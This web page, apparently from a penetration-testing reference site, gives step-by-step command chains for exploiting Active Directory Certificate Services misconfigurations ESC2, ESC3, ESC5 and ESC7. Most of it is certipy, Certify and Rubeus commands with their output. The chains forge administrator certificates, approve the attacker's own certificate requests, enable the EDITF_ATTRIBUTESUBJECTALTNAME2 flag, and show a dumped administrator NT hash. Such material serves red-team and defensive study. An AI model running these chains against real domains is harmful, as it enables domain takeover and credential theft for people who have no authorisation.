Skip to content
HackIndex logo

HackIndex

ADCS Exploitation: ESC2, ESC3, ESC5, ESC7

6 min read Jun 11, 2026

Additional ADCS misconfigurations beyond the most common ESC1/ESC4/ESC8 paths. Run certipy find -vulnerable to identify which ESC variants are present before choosing an attack chain. These techniques require ADCS Misconfiguration Discovery first to confirm the exact condition.

ESC2 — Any Purpose EKU

The certificate template has the Any Purpose Extended Key Usage or no EKU at all. This means certificates issued from this template can be used for any purpose, including client authentication and enrollment agent operations. If the template also allows enrollee-supplied subjects, exploit it exactly like ESC1. If not, use the issued certificate as an enrollment agent for a subsequent ESC3-style chain.

┌──(kali㉿kali)-[~]
└─$ # Identify ESC2 templates
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -vulnerable
 
┌──(kali㉿kali)-[~]
└─$ # If template allows enrollee-supplied subject — same as ESC1
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC2_TEMPLATE -upn administrator@$DOMAIN -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # If template does NOT allow custom subject — use cert as enrollment agent for ESC3 chain
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC2_TEMPLATE -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ # Then continue with ESC3 step 2 using this certificate
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # With enrollee-supplied subject
PS C:\Users\Guest\Desktop> Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC2_TEMPLATE /altname:administrator
 
PS C:\Users\Guest\Desktop> # Convert and authenticate
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /ptt

ESC3 — Enrollment Agent

Two templates are required. The first has the Certificate Request Agent EKU — obtaining it makes your certificate an enrollment agent. The second allows enrollment agents to request certificates on behalf of other users. With both, you can issue a certificate for any user including Domain Admin.

┌──(kali㉿kali)-[~]
└─$ # Step 1: Obtain enrollment agent certificate from ESC3 condition 1 template
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC3_TEMPLATE_1 -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: Use enrollment agent cert to request cert on behalf of Domain Admin
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $ESC3_TEMPLATE_2 -on-behalf-of '$DOMAIN\administrator' -pfx $USER.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate as Domain Admin
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
# Step 1:
[*] Saved certificate and private key to '$USER.pfx'

# Step 2:
[*] Saved certificate and private key to 'administrator.pfx'

[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # Step 1: Enrollment agent certificate
PS C:\Users\Guest\Desktop> Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_1
 
PS C:\Users\Guest\Desktop> # Step 2: Request on behalf of Domain Admin
PS C:\Users\Guest\Desktop> Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_2 /onbehalfof:$DOMAIN\administrator /enrollcert:$USER.pfx /enrollcertpw:<pfxpassword>
 
PS C:\Users\Guest\Desktop> # Authenticate
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /ptt

ESC5 — CA object ACL misconfiguration

If you have write rights on the CA object in AD (pKIEnrollmentService or certificationAuthority in CN=Public Key Services,CN=Services,CN=Configuration), you can modify the CA configuration — enable disabled templates, add enrollment officers, or set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag that makes every template behave like ESC1.

┌──(kali㉿kali)-[~]
└─$ # Identify CA object write access
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -vulnerable
 
┌──(kali㉿kali)-[~]
└─$ # List templates currently enabled on CA
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -list-templates
 
┌──(kali㉿kali)-[~]
└─$ # Enable a disabled template that has ESC1/ESC2 conditions
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -enable-template $VULN_TEMPLATE
 
┌──(kali㉿kali)-[~]
└─$ # Now exploit the newly enabled template (as ESC1)
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template $VULN_TEMPLATE -upn administrator@$DOMAIN -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
[*] Successfully enabled 'VulnerableUserTemplate'

[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # Check ACL on CA object in AD
PS C:\Users\Guest\Desktop> $caPath = "CN=Public Key Services,CN=Services,CN=Configuration,$BASE_DN"
PS C:\Users\Guest\Desktop> Get-DomainObjectAcl -SearchBase $caPath -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match $USER -and
$_.ActiveDirectoryRights -match 'Write|GenericAll'
}
 
PS C:\Users\Guest\Desktop> # Modify CA object with certutil (requires CA management tools)
PS C:\Users\Guest\Desktop> certutil -config '$CA_HOST\$CA_NAME' -setreg CA\ValidityPeriodUnits 10

ESC7 — CA management rights

Two CA management rights enable privilege escalation:

  • ManageCA: can set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA, making every template in the CA behave like ESC1. One command turns the entire CA into an ESC1 target.

  • Issue and Manage Certificates: can approve pending or denied certificate requests. Exploit chain: request a cert from a restricted template (request is denied/pending), then approve your own request.

┌──(kali㉿kali)-[~]
└─$ # Identify ManageCA rights
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -vulnerable
 
┌──(kali㉿kali)-[~]
└─$ # Enable EDITF_ATTRIBUTESUBJECTALTNAME2 (makes every template ESC1-able)
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -enable-attribute EDITF_ATTRIBUTESUBJECTALTNAME2
 
┌──(kali㉿kali)-[~]
└─$ # Now request cert with arbitrary UPN using any template
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template User -upn administrator@$DOMAIN -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Cleanup: disable the flag after use
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -disable-attribute EDITF_ATTRIBUTESUBJECTALTNAME2
[*] Successfully enabled 'EDITF_ATTRIBUTESUBJECTALTNAME2' on '$CA_NAME'

[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
┌──(kali㉿kali)-[~]
└─$ # Step 1: Request cert from SubCA template — will be denied
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -template SubCA -upn administrator@$DOMAIN -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ # Note the request ID from output
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: Approve own request using Issue and Manage Certificates right
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca $CA_NAME -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP -issue-request $REQUEST_ID
 
┌──(kali㉿kali)-[~]
└─$ # Step 3: Retrieve the approved certificate
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca $CA_NAME -retrieve $REQUEST_ID -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
[*] Request ID is 23
[*] Request 23 successfully issued
[*] Saved certificate and private key to 'administrator.pfx'
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889

References